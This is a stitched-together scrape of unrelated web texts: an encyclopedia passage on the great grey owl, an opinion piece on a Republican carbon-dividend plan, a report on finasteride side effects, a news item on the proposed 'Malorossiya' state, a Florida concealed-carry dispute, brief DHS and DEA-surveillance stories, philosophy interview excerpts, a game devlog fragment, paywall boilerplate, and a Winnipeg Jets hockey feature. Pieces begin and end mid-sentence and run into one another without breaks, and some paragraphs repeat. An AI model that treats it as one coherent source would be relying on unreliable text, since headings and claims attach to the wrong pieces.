sub-species (Strix nebulosa yosemitensis).[8] Nearby populations at lower elevations were not tested. In Washington state, great grey owls are found in the southeast where mountains extend up from Oregon and in the Colville National Forest. Only a handful of great gray owl nests have ever been found in Washington state. Farther east in the western United States, great grey owls breed in Idaho, Montana, and Wyoming, as far south as the Grand Teton and Yellowstone National Parks. Adult male great grey owl (Canada) In northeastern North America, the owls are found year-round in southern Quebec and Ontario, but individuals will sometimes move further south in winter into New York and New England, apparently in pursuit of more abundant prey.[9] Great grey owls are rarely sighted as far south as Pennsylvania and Long Island, New York.[9] In winter 2017, the birds were recorded in northern New York in Robert Moses State Park and central Maine.[10]
Breeding Edit
Egg, Collection Museum Wiesbaden Great grey owls do not build nests, so they typically use nests previously used by a large bird, such as a raptor. They will also nest in broken-topped trees and cavities in large trees. In southwestern and northeastern Oregon, the great grey owl has been using man-made platforms for nest sites since the 1980s. The erection of nest platforms for great grey owls was pioneered by Robert Nero in central Canada in the 1970s. Nesting may occur from March to May. Unlike, for example, osprey or white storks, the great grey owl does not predictably re-use nest sites over consecutive years. Four eggs are the usual clutch size. Eggs average 42.7 mm (1.68 in) wide and 53.5 mm (2.11 in) long. The incubation period is about 30 days, ranging from 28 to 36 days. Brooding lasts 2 to 3 weeks, after which the female starts roosting on a tree near nests. The young jump or fall from the nest at 3 to 4 weeks, and start to fly 1 to 2 weeks after this. Immediately after fledging, the white, fuzzy young must use beak and feet to climb back into trees. The female is on guard at this time and may be aggressive toward potential predators. Most offspring remain near their natal sites for many months after fledging. Normally the male hunts for his mate and the young throughout the nesting period. Once the young begin the fly, the female typically withdraws and the male continues to feed the young until they can hunt on their own in the autumn. The young owls go off on their own by winter. Windblown juvenile great grey owl The abundance of food in the area usually affects the number of eggs a female lays, a feature quite common in northern owl species. In years when small mammal populations are very low the great grey owl may not attempt nesting; thus their reproduction is connected to the sometimes extreme fluctuations of small mammal populations. Also, great grey owls may not nest in years of drought. If food is scarce, they may travel a fair distance to find more prey, with considerable movements by large numbers in some years of particularly scarce prey. Though they do not migrate, many are at least somewhat nomadic. One alert landowner in northeast Oregon, Andy Huber, helped a female great gray owl raise her four nestlings after a great horned owl killed the male. Huber live-trapped small mammals and then released them at the nest site, and the female took these to the nestlings. As the owlets matured and began flying they came for the prey on their own. Huber and the mother owl raised all four owlets successfully.[11]
Feeding Edit
Owl in flight These birds wait, listen, and watch for prey, then swoop down; they also may fly low through open areas in search of prey. They frequently hunt from a low listening post which can be a stump, low tree limb, fence post, or road sign. Their large facial disks, also known as "ruffs", focus sound, and the asymmetrical placement of their ears assists them in locating prey, because of the lack of light during the late and early hours in which they hunt. On the nesting grounds, they mainly hunt at night and near dawn and dusk; at other times, they are active mostly during the night. They have excellent hearing, and may locate (and then capture) prey moving beneath 60 cm (2.0 ft) of snow in a series of tunnels solely with that sense. They then can crash to a snow depth roughly equal to their own body size to grab their prey. Only this species and, more infrequently, other fairly large owls from the genus Strix are known to "snow-plunge" for prey, a habit that is thought to require superb hearing not possessed by all types of owls.[12] Unlike the more versatile eagle and horned owls, great grey owls rely almost fully upon small rodents. What species they eat depends on which small mammals are most abundant and available. In northern Canada they eat lemmings primarily. In dry parts of California's Sierra Nevada they eat mostly pocket gophers. In some areas voles are the predominant prey. Locally, alternative prey animals (usually comprising less than 20% of prey intake) include hares, moles, shrews, weasels, thrushes, grouse, grey jays, mountain quail, small hawks and ducks. This species is not known to scavenge or steal from other predators. In mated pairs, the male is the primary hunter who provides food for the entire family while the female guards and broods the eggs, nestlings, and flightless fledglings.
Threats Edit
The harvest of timber from the great grey owl's habitat is, perhaps, the greatest threat to this species.[13] Intensified timber management typically reduces live and dead large-diameter trees used for nesting, leaning trees used by juveniles for roosting before they can fly, and dense canopy closures in stands used by juveniles for cover and protection.[13] If perches are not left in clearcuts, great grey owls cannot readily hunt in them. Although human-made structures (made specifically for use by this species) have been utilized by these owls, the species is far more common in areas protected from logging. Livestock grazing in meadows also adversely affects great grey owls, by reducing habitat for preferred prey species.[13] Plumage of the face ( Weltvogelpark Walsrode Other dangers to great grey owls include rodenticides, collisions with vehicles, and West Nile Virus. West Nile Virus is likely to become more prevalent with climate change. In Ontario and northeastern Oregon there are confirmed great grey owl deaths from West Nile Virus. Testing of owls in the Yosemite area since 2005 has found evidence of West Nile Virus in that population. Due to their large size, great grey owls have few natural predators. Great horned owls, various small carnivores, and black bears have been documented preying on young, but such predators rarely threaten adults, and owls have been known to fend off animals as large as black bears when defending their nests.[14] The only known predator of adult great grey owls is the Eurasian eagle-owl (Bubo bubo), which occasionally preys on the former in parts of Europe.[15]
Territorial behavior Edit
The great grey owl is not as aggressive as most other alpha predators. They are less likely to attack each other or potential threats than are other large predatory birds. They do not protect a large nesting territory, nor do they defend hunting territories through aggression. As an exception, the female is aggressive in protecting eggs and owlets. She is especially alert and aggressive when fledglings first leave the nest but cannot yet fly, and thus are extremely vulnerable. This lack of territorial aggressiveness makes the great grey owl difficult to find in the field. Most owls respond to their own species calls if played back in a nesting territory. Great grey owls will often ignore such calls. They also do not flush every time a human approaches or drives past. The great grey owl often remains still even if a human is nearby and therefore they are often overlooked or unnoticed.
Provincial bird Edit
The great grey owl is the provincial bird of Manitoba.
Captivity Edit
As of 2016, there are four captive great grey owls in Oregon and California. Two live at Blue Mountain Wildlife near Pendleton, Oregon, a third lives at Lindsay Museum in Walnut Creek, California,[16] and the fourth lives at CuriOdyssey in San Mateo, California.[17] A captive wild injured great grey owl, Boris, resides at the Alaska Raptor Center in Sitka, Alaska. Boris was found north of Anchorage with a trauma to his right wrist, leaving him flightless.[18] The Eurasian subspecies of the grey owl is very commonly kept in European zoos.
References Edit
[1] The great grey owl (GGO) was placed on the California state endangered species list in June 1980.
Further reading EditOn February 8, a group of establishment Republicans unleashed what they consider to be a wild and totally out-there idea on how Americans can make more money with a carbon tax proposal.
Hate to break it to you Republicans, but this isn’t as innovative as it sounds. Every few years, economists or ex-politicians try to sell the Grand Old Party on a carbon tax as the ultimate free-market, efficient, conservative climate solution. It’s always heralded as a big breakthrough in climate policy. And it never gets any traction.
The “Conservative Case for Climate Dividends” (because… don’t call it a tax) is enjoying such accolades at the moment. It’s even being cheered as a “thought-provoking plan,” “historic,” a “fantastic Republican idea,” and a dramatic reversal of course for the GOP.
Yet the very novelty of the proposal exposes what it really is: A reflection of how drastically out of step the modern Republican party is with both climate science and the American public’s concern about climate change. If we had a climate-literate government, this proposal simply wouldn’t stand out, representing a conventional conservative view on how best to let the free market solve an environmental and economic problem.
The Treasury Department figured that roughly 70 percent of Americans would make money under such a deal.
On its face, the proposal is a $40 per ton tax on carbon dioxide emissions, with all of the money raised returned to Americans via dividend checks. In exchange for the cash on carbon, advocates are asking for a repeal of all greenhouse gas regulations through the Environmental Protection Agency.
But before we talk about why the proposal is a bad faith deal that is too little, too late, and doesn’t stand a snowball’s chance (in a rapidly warming world) of breaking through Congress, let’s consider its mechanics and try to find a few positives in the Conservative Carbon Dividend Plan’s four pillars:
1. A sensible tax plan
A reasonable carbon tax is at the heart of this plan. The $40 per ton would potentially increase over time—perhaps by $5 per ton every year. For what it’s worth, that’s roughly in line with the Obama administration’s calculations of the social cost of carbon at $36 per ton (which itself was criticized by climate experts as being far too low and by fossil fuel industry apologists as being unreasonably high). It’s well above average for existing carbon pricing schemes in place around the world, but the pricing trajectory is still well below the hundreds of dollars per ton that many credible analyses say is necessary to keep climate change from reaching truly perilous levels.
That said, Charles Komanoff of the Carbon Tax Center formally endorsed the proposal. Komanoff ran the proposed pricing through his model and found that it would yield a 40 percent reduction in carbon dioxide emissions by 2030.
2. Carbon refunds for all Americans
All of the proceeds raised by the tax would be refunded to the American people through quarterly dividend checks mailed out to everyone with a social security number. The authors say the introductory $40 carbon tax would mean about $500 per year per citizen (or $2,000 per year for a typical family of four).
3. Taxation on imported goods
The tax would be applied to all imported goods from countries without “competitive carbon pricing,” and these so-called border adjustments would help protect American manufacturing. (Conversely, goods exported to countries without equivalent pricing would be exempt.)
4. Cutting regulations
Current greenhouse gas regulations like the Clean Power Plan would be cut.
What does this mean in the real world? Let’s suspend disbelief for a moment and pretend that this proposal wouldn’t be carved up and weakened and stuffed full of exemptions and loopholes in order to pass through Congress.
At surface level, it’s a fairly elegant and clever design—one that closely resembles bills introduced repeatedly by Democratic Rep. Chris Van Hollen of Maryland, and championed by revered climate scientist James Hansen. If the revenue truly is divided up equally among all Americans, then it’s essentially progressive. Lower-income folks would actually come out ahead, as the increase in costs for electricity and gas and food and products would be less than the dividend checks they get in the mail. In fact, the Treasury Department figured that roughly 70 percent of Americans would make money under such a deal.
To take this deal would be to let fossil fuel companies off the hook for the sins of their past.
Those who would fare poorly with this deal would be the ultra wealthy; their enormous carbon footprints would come at a much higher price, which the $2,000/year dividend would take only a small nibble out of. No sympathy there. And it’s hard to argue with the third pillar, especially as the politics of climate action have been so hamstrung by alarmist arguments about how carbon pricing will kill American competitiveness.
So far, so good. But when it comes to the fourth pillar—the regulatory rollback—well, that deserves its own section.
Too many poison pills
The authors suggest that “the initial carbon tax rate should be set to exceed the emissions reductions of current regulations.” Why then, you might logically ask, do you need “the elimination of regulations that are no longer necessary” at all? Perhaps because you have consulted with the big oil and gas companies and know that they are already factoring modest carbon pricing into their operations. Or perhaps you know that the carbon prices you’re suggesting aren’t going to yield the greenhouse gas reductions that the science is demanding.
Imagine this deal gets done, and in 10 years, the carbon tax isn’t cutting emissions as quickly as we need. Then what? If you earnestly believe that the carbon tax will continue to increase at a rate that the science tells us is necessary, then there would be no reason to cut the strings of a regulatory safety net.
Hiding in that fourth pillar is another poison pill, which could be even more important to Big Oil than the stripping of regulations. “Robust carbon taxes would also make possible an end to federal and state tort liability for emitters.” This is likely in response to the ongoing litigation and investigations by state attorneys general over what Exxon knew about climate change and its long-running cover up. In recent years, a group of kids and an Alaskan village have been among those who have filed claims against fossil fuel companies for contributing to climate change, and state attorneys general in New York and Massachusetts are investigating Exxon over its alleged climate fraud and conspiracy. To take this deal would be to let fossil fuel companies off the hook for the sins of their past.
It’s progressive, but is it just?
While true that a tax-and-dividend scheme like the one proposed is progressive—assuming the rebate is split equally—there’s a deeper issue of climate and environmental justice that this type of system neglects. Plenty of logical arguments have been made about how such a rebate plan promotes economic equity, but those typically come from white guys far from the front lines of climate impacts. As another such privileged white guy, I feel compelled to defer to someone who can speak to this more personally and expertly.
Jill Mangaliman, executive director of Got Green and a Seattle community activist who—along with Van Jones, Naomi Klein, and a whole host of progressive organizations that care deeply about both climate change and justice—fought against the recent carbon tax ballot initiative in Washington state, wrote in The Stranger:
A tax rebate provides no new solutions for workers who need to enter clean energy jobs, for a mother that wants to catch a bus to work, or for a business that wants to invest in a green building... Creating a just transition for workers, for frontline communities, and creating low-carbon infrastructure is not just a moral obligation, it’s a tactical obligation for so called "climate hawks." We will never get to more ambitious climate solutions if we don’t support the people who are most harmed by fossil fuels and the people most impacted by the transition... There is a better way: Let’s put a price on carbon and invest the money in green jobs, clean energy, and the communities hit first and worst by fossil fuels.
In essence, a far more effective and fairer way to combat climate change is to put a price on carbon and use the money to fund the just transition that is so sorely overdue for the worst impacted and most vulnerable communities.
Also, it’s a unicorn
Plenty of conservatives support a carbon tax in theory. Even ExxonMobil has lobbied for a carbon tax. Yet, as Brad Plumer notes in Vox, “so far, these campaigns have attracted public support from … exactly zero elected Republicans in Washington.”
The tax rebate provides no new solutions for workers who need to enter clean energy jobs or for a mother who wants to catch a bus to work.
The conservative carbon tax is, in essence, a unicorn—a fantasy that nobody will actually see fly. In Exxon’s case, the company’s support of a tax is a fairly blatant distraction from its fight against actual regulations and from its history of fraud.
For other conservatives, it provides some cover to talk seriously about an issue that the Republican party is otherwise terribly out of step with the American public. It’s a free market solution that polls incredibly well and, if ever miraculously passed through Congress, would be so weak that it would cause little real pain to fossil fuel companies.
Too little, too late
It’s too bad that Baker and Shultz didn’t come up with this idea and bring it to President Reagan when they served in his administration in the ’80s. Slapping a low price on carbon and lifting it steadily through the 1990s and 2000s could well have transformed our energy system from carbon-spewing fossil fuels to clean renewables in time to avoid the worst fates of climate change. Now it’s too late for that.
The science is clear, and anything less than a World War II-scaled mobilization to decarbonize our economy and tackle other greenhouse gas sources (leaking methane from fracking operations and deforestation, to name just two) means pushing our global temperatures into the high fever range. This may not be the climate solution we need, but at least it can be recognized as a legitimate policy intended to address a dire challenge.Hair loss drugs can cause erectile dysfunction in men, scientists warn.
Those taking a popular growth stimulant were left impotent for an average of four years after finishing the medication, a study found.
Sufferers were left unable to maintain an erection despite being given Viagra to try and solve their problem.
Experts now say that taking finasteride is a bigger risk factor for the condition than diabetes, high blood pressure and smoking.
Those taking a popular hair growth stimulant were left impotent for an average of four years after achieving hair growth, a study found
The drug, sold as Propecia, lowers prostate specific antigen levels and is used for treating male-pattern hair loss.
Researchers from Northwestern University Feinberg School of Medicine assessed the effects of the hair growth stimulant, taken by Donald Trump, and dutasteride.
FINASTERIDE: WHAT IS THIS DRUG? Finasteride was originally developed to treat urinary problems in men. Studies showed the drug made prostate glands smaller by reducing the levels of the hormone dihydrotestosterone in participants. But during the clinical trials, scientists saw an unexpected side effect - hair growth. And so in 1997, the FDA approved the steroid inhibitor as the first ever drug to treat male pattern baldness. Taken once a day, the drug is mainly sold under the brand name Propecia. Millions of American adults use the pills, which are proven to be 90 per cent effective. It is unsure how many men in the UK use it as it is a prescription-only treatment that isn't available on the NHS. Other than impotence, some side effects include a rash or tenderness around the nipples.
Study author Dr Steven Belknap said: 'Men who take finasteride or dutasteride can get persistent erectile dysfunction, in which they will not be able to have normal erections for months or years.'
Both are male hormone blockers that prevent testosterone from being converted to its more active form.
The former is prescribed to some men with baldness and also sold under the brand name Proscar.
While the latter, more commonly known as Avodart, is used primarily to shrink the size of prostates.
Of the 11,909 men who were studied, 1.4 per cent went on to develop persistent erectile dysfunction. This continued for an average of 1,348 days.
Prior to this study published in PeerJ, research was scarce on the sexual effects of taking finasteride and dutasteride.
There was also no strong evidence that taking either for a long period of time increased the risk of impotence.
But the researchers found men under the age of 42 who used either drug for seven months had a 4.9-fold higher risk.
This comes after Turkish scientists last week found blood type could influence a man's performance under the sheets.
Those with blood types A, B or AB are up to four times more likely to suffer from impotence than men who have blood type O.
The findings were significant as it’s estimated more than half of all men carry the three danger types.By Brandon Turbeville
On July 18, Donetsk People’s Republic leader, Alexander Zakharchenko, announced the creation of a new country that will be made up of the DPR and LPR regions in Eastern Ukraine. The new country will be called “Malorossiya” or “Little Russia.” Local leadership is describing the country as a “successor state” to Ukraine.
Zakharchenko is proposing a three-year transition period toward the creation of the new state as a way to settle the ongoing conflict.
“We propose to establish the state of Malorossiya. Malorossiya is an independent young state. A transition period of up to 3 years,” Zakharchenko told reporters.
Zakharchenko said that discussions taking place within the DPR have “come to the conclusion that Ukraine has shown itself as a failed state” and called on the international community to support the new proposal.
“We should be supported by the residents of the regions. This solution is possible provided that the international community supports the idea,” he said.
Malorossiya has been declared a sovereign federation of states, with Donetsk being the capitol. The Malorossiyan constitution will be drafted and subsequently debated and put up for referendum and public discussion. Central authorities will be in charge of the government’s budget, army, and security forces said Alexander Timofeev, DPR Income and Charges Minister.
“We, the representatives of former Ukraine, declare the establishment of a new state, Malorossiya, which is a successor state to Ukraine. We agree that the new state’s name will be Malorossiya because the very name of Ukraine has discredited itself. The city of Donetsk becomes Malorossiya’s capital,” Timofeev said.
The Constitution is set to declare Malorossiya’s non-aligned status and goal of restoring ties with Russia. The plan will see the country join the “Union State of Russia and Belarus” while maintaining its sovereignty.
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“Malorossiya is a multinational state with Russian and Malorossiyan being its official languages, and regional languages retaining their rights and statuses,” Timofeev read from the draft constitution.
Timofeev also noted that all religions will have equal rights. Malorossiya will aim at picking up action with the Commonwealth of Independent States (CIS) and open talks with both Russia and the EU.
“The policy aimed at joining the Union State of Russia and Belarus while preserving independence and sovereignty. The keeping of a visa-free regime in agreement with the European Union. De-oligarchisation, including on a legal basis,” the minister read out.
“The constitution of Malorossiya will be drafted, approved in its initial iteration by the constitutional assembly and then submitted for the nationwide referendum. This will follow the wide public discussion both on the regional and the federal levels,” Timofeev pointed out.Sen. Greg Steube questioned why concealed carriers were barred from public buildings.
SARASOTA — Greg Steube is known throughout Florida for his pro-gun views.
The freshman state senator from Sarasota sponsored more than a dozen pro-gun bills just this session, including open carry, campus carry and several others that would eliminate "gun free zones."
As a state representative, he sponsored similar bills during previous sessions.
Steube, who's also an attorney, has been interviewed by national television networks, newspapers and other media about the gun bills that he has proposed.
Suffice it to say, even his detractors would likely admit he knows the law, especially when it involves firearms.
Last week, when the Sarasota Republican tried to enter the Sarasota County Clerk of Court's office, he was stopped cold by a private security guard and a Sarasota County Sheriff's deputy.
"I was denied entry due to the fact that I was in possession of a weapon," Steube wrote in an email to Sheriff Tom Knight, which he sent just an hour after the encounter.
"I informed the security guard that I had a concealed carry permit and was licensed to carry," Steube wrote. "The agent said that it was a government building and I was not permitted to carry weapons."
Citing Florida Statute 790.06, Steube explained to the guard, who was joined by Deputy Jovan Djokic, that "government buildings" are not considered "gun free zones" according to the law.
He asked Djokic to cite a rule, policy or statute that prohibited weapons in the Clerk of Court's Office.
"His rather rude response was if I had a problem with it, to take it up with the Sheriff. So here we are," Steube wrote in the email.
The legislator explained that the clerk's office is not a courthouse and thus "not an enumerated gun free zone under 790.06." "Therefore, please advise under what law your deputies denied my constitutional right to carry and my right to conceal under F.S. 790.06," he wrote.
Knight referred the email to Crystal Hansen, his assistant general counsel, who the next day met with the circuit's chief judge and the court administrator.
Eventually, the issue came to Chief Deputy Col. Kurt Hoffman, a former prosecutor and Knight's general counsel.
Three days later, Hoffman issued a legal opinion, which explained the department's "exposure to personal liability for restricting the suspicion-less free movement of people entering publicly accessible non-court Clerk of Court offices and restricting their firearm rights."
Not only did Hoffman recommend pulling deputies out of the Clerk of Courts Office at 2000 Main St., he recommended reevaluating the security at the R.L. Anderson Administrative Center, 4000 S. Tamiami Trail, and the Criminal Justice Center, 2071 Ringling Blvd.
In his brief, Hoffman acknowledged that the Clerk's Office was actually deeded as a "court facility," although it houses a historic courtroom that is seldom used. This distinction would become an issue with the clerk.
Removing the deputies, Hoffman noted, is the least restrictive way to comply with state statutes, to avoid the "potential liability associated with restricting access to non-court publicly accessible government locations for concealed-carry permit holders..."
The statute creates personal liability — including fines and removal from office — for any public employee who restricts someone's firearms rights beyond what is codified in the law.
Hoffman also estimated that canceling the private security contract for just the guards at the Sheriff's Office would save taxpayers $70,000.
Knight concurred with Hoffman's findings, according to documents obtained by the Herald-Tribune.
The sheriff sent an email to Clerk of Court Karen Rushing, advising her that security would be removed from her office Feb. 21.
He sent another to Public Defender Larry Eger and State Attorney Ed Brodsky, whose offices are accessed through the Sheriff's Office at at 2071 Ringling, telling them security would be curtailed on Feb. 22.
Reaction
Rushing said that while the deputies have left her office, the private security guards remain.
Because of the historic courthouse, her office is a court facility, she said, so firearms are prohibited.
"As far as I'm concerned, we're operating under an administrative order that refers to the historic courthouse as a courthouse," she said Thursday. "We had discussions to address the concerns by the Sheriff and to see that if, by scheduling more court cases here, it would give relief to the Sheriff's concerns. We're still operating in terms of this being a historic courthouse, and we're doing court business, while the county is reviewing statutory requirements for security in this building."
In an interview Wednesday, Steube questioned how long the no-guns policy has been in place at the government buildings, and how many concealed-carriers had been turned away, but he praised Knight's response and that of the deputy who had turned him away.
"First, the deputy (Djokic) was only doing his job — doing what they'd told him to do," Steube said. "And the Sheriff's Office deserves credit. The issue was raised, and then they took corrective action."Homeland Security Secretary Jeh Johnson said Friday that Syria has become an issue of homeland security for the United States.
The new head of the Department of Homeland Security returned Thursday night after a two-day trip to Poland with Attorney General Eric Holder.
Johnson said he and Holder met with six of Johnson’s counterparts from the United Kingdom, France, Germany, Italy and Poland.
“Syria was the number one topic of conversation for them and for us. Syria has become a matter of Homeland Security,” Johnson said Friday at the Wilson Center in Washington, D.C., where he laid out his agenda.
Johnson was in Poland to attend the European Union’s G6 Interior Ministers meeting to discuss concerns over foreign fighter travel to and from Syria.
“During the meetings, Secretary Johnson discussed the inextricable link between the United States’ security and that of our international partners, underscoring the need to continue to work closely together to strengthen the security of the global trade and travel networks upon which all our nations’ economies and citizens rely,” the DHS said in a release on Thursday.
On Friday, Johnson said the DHS, the FBI and the American intelligence community will continue to work closely to identify al Qaeda-linked groups in Syria.Human Rights Watch said Wednesday it filed a suit alleging the US Drug Enforcement Administration illegally collected records of its phone calls to foreign countries for years.The lawsuit comes after a series of media reports and disclosures in public documents revealing a surveillance program dating back to the 1990s, which reportedly collected data on virtually all international phone calls."At Human Rights Watch we work with people who are sometimes in life-or-death situations, where speaking out can make them a target," said Dinah PoKempner, general counsel at the watchdog group."Whom we communicate with and when is often extraordinarily sensitive -- and it's information that we wouldn't turn over to the government lightly."The suit filed in federal court in California asks a judge to declare the surveillance a violation of the group's constitutional rights, and to purge all records from the program."The DEA's program is yet another example of federal agencies overreaching their surveillance authority in secret," said Mark Rumold, staff attorney at the Electronic Frontier Foundation, which is representing the human rights organization."We want a court to force the DEA to destroy the records it illegally collected and to declare -- once and for all -- that bulk collection of Americans' records is unconstitutional."According to the complaint, the DEA disclosed the existence of its mass surveillance program in January 2015, after a federal judge ordered the government to provide more information in a criminal case against a man accused of violating export restrictions on goods to Iran.News reports have said that the operation gathered records on calls to over 100 countries.USA Today reported this week that the DEA program -- aimed at tracking drug traffickers -- harvested data from more than one billion calls from as early as 1992.Interview by Richard Marshall.
‘I think that all moralities adequately serving the function of fostering social cooperation must contain a norm of reciprocity—a norm of returning good for good received. Such a norm is a necessity, I argue, because it helps relieve the strains on motivation of contributing to social cooperation when it comes into conflict with self-interest. I also identify a constraint I called “justifiability to the governed,” which implies that justifications for subordinating people’s interests must not rely on falsehoods such as the natural inferiority of racial or ethnic groups or the natural incapacities of women.‘
‘My version of relativism is pluralistic and attributes functions to morality that in combination with human nature place limits on what could count as a true morality. Unlike many other relativists, I do not hold that people are subject to a morality because they all belong to a certain group. That is, I don’t hold that being a member of a group makes one’s subject to some set of generally accepted norms. What is true is that others around us teach us morality and moral language, so they inevitably influence us. That is why there are moral traditions that share important values, shared interpretations of those values, and certain shared ways of prioritizing them. But even within those moral traditions there are disagreements that don’t bottom out in facts that decide the issues.‘
‘Zhuangzi is especially insightful about the human pretension to know. The Zhuangzi tells a story about a frog who lives in caved-in well. Because he is the lord of this little world of his, king of the pollywogs, he is very proud of himself. But he doesn’t know how small his world is until a turtle comes and tells him about the vastness of the sea. We human beings are like the frog, not realizing how little our worlds are.‘
‘The Chinese concept of rights arose, then, in a context of power. Western nations had become powerful enough, and imposed their will in nakedly aggressive fashion, so that they had to be addressed in their terms. Eventually rights in Chinese thought are attributed not just to nation states but also to individual people.‘
‘The Confucians paid a great deal attention to ritual, highlighting the ones that expressed the sorts of affective attitudes one wants to cultivate, engaging in them with keen awareness of their value for shaping and reshaping the self, and insisting on the need to be emotionally present to their significance for one’s relationship to others. If we Americans want to rebuild our capacities for a shared life, we would do well to pay attention to all this. I know it will be greeted with skepticism by those who think that these ideas will only work in a more homogeneous society, but China, even ancient China, is and was more pluralistic than we suppose, and it was Confucius who said that harmony is not the same as agreement.‘
David Wong is the Susan Fox Beischer and George D. Beischer Professor of Philosophy at Duke University.
The main subjects of his research include 1) the nature and extent of moral differences and similarities across and within societies and how these differences and similarities bear on questions about the objectivity and universality of morality; 2) the attempt to understand morality naturalistically as arising from the attempt of human beings to structure their cooperation and to convey to each other what kinds of lives they have found to be worth living; 3) the nature of conflicts between basic moral values and how these give rise to moral differences across and within societies; 4) how we attempt to deal with such conflicts in moral deliberation; 5) the relevance of comparative philosophy, especially Chinese-Western (
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simple job.
We’ve also been revising frogatto’s own animations, to make his motion much smoother and fluid; we’ve already done this to the walking, standing, and jumping, and we’re hoping to have a go at swimming, before too long. Our hope with the swimming is to keep the controls as they are now (which are fairly satisfactory), but to make the graphics much, much more fluid. This will also pave the way to allow us to add attack modes for the player’s alternate powers underwater.
We don’t have much heavy-lifting left for the graphics. The remaining items are: I have some stand-alone mushroom props I need to draw, I have a few forest-tree trunk segments I want to add to flesh out the flexibility of our tree props, and I need to redraw a few more seaside houses before the next release.
I estimate it’s going to be several months before the next release – we’re all doing this part-time, and most likely the level-design work is going to take quite a while. If you’d like to stay posted on things as they happen; follow our twitter @frogatto, or keep an eye on the recent commits to our github (we tend to make changes on a daily basis).Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
Thank you for supporting the journalism that our community needs!
For unlimited access to the best local, national, and international news and much more, try an All Access Digital subscription:
We hope you have enjoyed your trial! To continue reading, we recommend our Read Now Pay Later membership. Simply add a form of payment and pay only 27¢ per article.
Thank you for supporting the journalism that our community needs!
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But not for Jets head coach Paul Maurice, who said despite a delay-of-game penalty that led to a late goal by Tampa, Trouba had one of his best performances of the year.
When the scrum ended, only one reporter stuck around for Trouba. Despite scoring a goal and an assist against Tampa, Trouba managed to fly under the radar.
Ehlers, 20, garnered the attention after scoring two goals and setting up another in a win Tuesday over the Tampa Bay Lightning. Nobody was surprised by what they’d witnessed. Instead, they were eager to dig further into what had been another big night for the young forward, who had posted seven goals and three assists in his past seven games.
SUNRISE, Fla. — Jacob Trouba waited with his arms crossed as cameras and reporters surrounded teammate Nikolaj Ehlers just feet from where the Winnipeg Jets defenceman stood alone.
Hey there, time traveller! This article was published 5/1/2017 (782 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 5/1/2017 (782 days ago), so information in it may no longer be current.
SUNRISE, Fla. — Jacob Trouba waited with his arms crossed as cameras and reporters surrounded teammate Nikolaj Ehlers just feet from where the Winnipeg Jets defenceman stood alone.
Ehlers, 20, garnered the attention after scoring two goals and setting up another in a win Tuesday over the Tampa Bay Lightning. Nobody was surprised by what they’d witnessed. Instead, they were eager to dig further into what had been another big night for the young forward, who had posted seven goals and three assists in his past seven games.
When the scrum ended, only one reporter stuck around for Trouba. Despite scoring a goal and an assist against Tampa, Trouba managed to fly under the radar.
But not for Jets head coach Paul Maurice, who said despite a delay-of-game penalty that led to a late goal by Tampa, Trouba had one of his best performances of the year.
"Other than flipping it (the puck) in the stands, that was just about the perfect game from the guy," Maurice said.
A day later, following a win over the Florida Panthers, Maurice went a step further. While reporters wanted to talk about the play of goaltender Connor Hellebuyck and his ability to earn wins on consecutive nights, or how 18-year-old rookie sensation Patrik Laine had kept his 40-goal pace, Maurice wanted to talk about Trouba.
"Our back end, from within five feet of our net, were outstanding tonight, and that probably started with Jake Trouba," he said, adding Trouba, along with centre Bryan Little, were "the two best players on the ice."
"That was probably as solid a game as I’ve seen him play."
With an assist against the Panthers, Trouba has seven points in his past five games. He credits his recent offensive burst to a bigger role in recent weeks, including time on the power play.
"Probably a little luck, too," the 22-year-old said after the Tampa game.
"You go through hot streaks, and you go through cold streaks where you make good plays and they just don’t end up (in the net) for you. I don’t really think too much of it, just stick to my game."
Trouba has two goals and 11 assists in 26 games this year — a higher scoring rate than the 21 points in 65 games he collected all last season.
Maurice credits Trouba’s patience for his success in the offensive zone. Far too often, the Jets coach said, young players come into the NHL with high expectations built from having a great deal of success throughout their hockey life.
"It takes them a while to realize that 80 per cent of this game is a grind, and nothing happens," Maurice said. "And the great players, when it opens up in that last 20, that’s where they feed. So patience, and we’re starting to see more of it, we believe."
It’s not just Trouba’s ability to find the score sheet that has made him one of the Jets’ best performers this year.
He’s also minimized the blow of losing veteran blue-liner Tyler Myers, who has missed the past 24 games with an undisclosed, lower-body injury. With Myers out, Trouba has been relied on to play big minutes.
He ranks second behind Dustin Byfuglien in ice time, logging an average of 23 minutes, 48 seconds per game. Playing alongside Toby Enstrom on the designated shutdown pairing, most of those minutes are against the opposing team’s top players.
Trouba also leads the Jets in average ice time on the penalty kill (3:19).
"I think every player wants more, and you’ve got to keep earning more," he said. "When you get it, you don’t want to let the opportunities squander."
The emergence of Trouba is as impressive as it was improbable. Just months ago, the Jets were in a highly publicized dispute with Trouba’s camp, with each side differing in his dollar value and place in the lineup.
Trouba was reported to want a long-term deal, with upwards of US$7 million per season. He also wanted to move back to his natural side as a right-handed defenceman after playing parts of the past two seasons on the left.
Eventually negotiations stalled before hitting a boiling point, with Trouba’s agent demanding the Jets trade him. Any thread for reconciliation seemed severed and an exit imminent, sparking a month-long game of chicken.
The Jets would eventually get their way, signing Trouba to a two-year, bridge deal worth a total of US$6 million. Trouba was welcome backed with open arms by his teammates but was designated to the third pairing.
Having missed the entire training camp and the first 13 games of the regular season, it was understandable Trouba would need time to find his footing. Now, he says he finally feels like his old self.
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"My legs have felt really good, and I feel I’m skating well, and that’s when I’m playing well," he said.
"When I get flat-footed or don’t really move my feet too fast, that’s when I’m not playing very well, especially in the D-zone. That’s where my game starts is moving my feet."
Maurice offered up another explanation for Trouba’s evolution: maturity. The coach sees it in his play every game, whether in his timing when he throws a big hit or his decision-making in the neutral zone in closing gaps against attackers.
"Jake is physically a much stronger man this year than he was, and that makes sense — you’re bigger and stronger than you were at 19 when you’re 22," he said.
"He can drive harder defensively, he has just a little more experience on when to get in and when to get out."
[email protected]: @jeffkhamilton49ers’ Tank Carradine shrinking for new role
Tank Carradine is losing weight to gain more playing time.
After playing primarily inside, Carradine is being moved to the edge of the defensive line, which mirrors the position he played at Florida State.
